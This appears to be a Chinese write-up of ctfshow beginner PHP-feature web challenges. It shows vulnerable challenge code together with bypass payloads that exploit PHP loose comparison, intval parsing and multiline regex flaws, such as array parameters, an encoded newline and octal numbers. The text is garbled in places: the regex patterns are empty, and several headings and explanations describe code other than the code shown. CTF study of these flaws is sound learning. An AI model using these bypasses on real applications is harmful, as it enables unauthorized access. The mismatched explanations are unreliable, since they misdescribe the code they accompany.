ctfshowWeb入门 php特性全部wp
Web89(preg_match和intval)<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("//", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
//?num[]=1md5()函数如果传入数组,返回值将是NULL,NULL===NULL,所以可以用数组绕过。
Web98(&引用)
&表示引用,比如$b=&$a表示变量b是变量a的一个引用,相当于同一个变量两个名字,一个变化另一个也会跟着变化。
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}?cmd=php%0abbb
Web99(in_array)
in_array() 是否存在strict参数,如果不设置默认为False则为宽松比较,True需要检查搜索的数据与数组的值类型是否相同自动转换为1
题中为宽松比较。当n=1.php时 "1.php"==1,成功绕过
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("//i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
//?num=010574
//?num=4476.1Web100(逻辑运算符优先级)
页:
[1]